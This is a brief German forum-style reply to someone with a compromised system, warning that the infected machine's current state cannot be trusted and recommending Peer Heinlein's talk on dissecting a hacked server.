Es ist egal was derzeit im Infizierten System steht da dieser Verändert wurde.
Aber mal ein Video das du mal sehen solltest.
Ist zwar was älter jedoch macht es gute Information über die Situation die du auch hast zwar etwas anders aber Prinzip das selbe
Peer Heinlein: Totalschaden: Ein gehackter Server auf dem Seziertisch